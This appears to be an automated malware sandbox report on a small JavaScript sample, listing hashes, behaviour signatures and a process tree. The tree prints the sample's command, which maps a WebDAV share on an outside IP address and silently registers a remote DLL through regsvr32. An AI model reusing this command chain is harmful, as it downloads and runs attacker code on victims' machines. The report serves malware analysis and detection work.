Analysis
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max time kernel
120s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240704-en -
resource tags
arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system -
submitted
24/07/2024, 02:29
Static task
static1
Behavioral task
behavioral1
Sample
322891220714919494.js
Resource
win7-20240704-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
322891220714919494.js
Resource
win10v2004-20240709-en
5 signatures
150 seconds
General
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Target
322891220714919494.js
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Size
5KB
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MD5
fc43c1ac74310d93d27825d51b6a6fd2
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SHA1
78b778a806a332329a4ef18b9d6efa5e3b5496e5
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SHA256
71b23c29db7e8d3cb0fb543dd7f62637cc5e261bfd379b38c73111c676d743bb
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SHA512
e37aec1f4211d2e2c1501a2ede18cbd19a5c7083e21e5281630094589120e76592c77cf8c793d0b5817395dc4a183ba9ebab4a3bdda22930e0b03bed087b0296
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SSDEEP
96:vpQZB4JbhIg3pOOOB4ctAk7OOOB4ctXn4:vpQ8Jbh73pOOOB46Ak7OOOB46Xn4
Score
3/10
Malware Config
Signatures
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Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Runs net.exe
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Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2352 wrote to memory of 2320 2352 wscript.exe 31 PID 2352 wrote to memory of 2320 2352 wscript.exe 31 PID 2352 wrote to memory of 2320 2352 wscript.exe 31 PID 2320 wrote to memory of 1840 2320 cmd.exe 33 PID 2320 wrote to memory of 1840 2320 cmd.exe 33 PID 2320 wrote to memory of 1840 2320 cmd.exe 33
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\322891220714919494.js1⤵
- Suspicious use of WriteProcessMemory
PID:2352 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\34943218321545.dll2⤵
- Suspicious use of WriteProcessMemory
PID:2320 -
C:\Windows\system32\net.exenet use \\45.9.74.36@8888\davwwwroot\3⤵PID:1840
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